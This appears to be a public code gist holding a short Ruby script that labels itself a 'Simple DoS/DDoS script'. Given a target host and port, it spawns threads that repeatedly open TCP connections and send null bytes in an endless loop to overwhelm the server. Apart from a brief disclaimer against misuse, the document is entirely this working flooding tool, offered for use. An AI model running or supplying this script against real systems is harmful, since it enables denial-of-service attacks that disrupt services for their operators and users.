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@dnase
Last active December 28, 2015 02:39
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#Simple DoS/DDoS script in ruby
#don't use this on servers you don't own.
#don't blame me if you ignore the above and do something illegal.
#todo: add intelligent port rotation on failure
require 'socket'
include Socket::Constants
num_threads = 8
num_connections = 16
if ARGV.length < 2
puts "Usage: #{$0} [host] [port] <threads> <connections>"
exit
else
t_host = ARGV[0]
t_port = ARGV[1]
num_threads = ARGV[2].to_i unless ARGV[2] == nil
num_connections = ARGV[3].to_i unless ARGV[3] == nil
while 1
threads = Array.new(num_threads) { |index|
Thread.new {
(0..num_connections).each do
socket = Socket.new(AF_INET, SOCK_STREAM, 0)
sockaddr = Socket.pack_sockaddr_in(t_port, t_host)
socket.connect(sockaddr)
socket.write("\0")
end
puts "[thread #{index} | #{num_connections} null packets sent]"
}
}
threads.each do |thread|
thread.join
end
puts "[all threads complete, restarting]"
end
end
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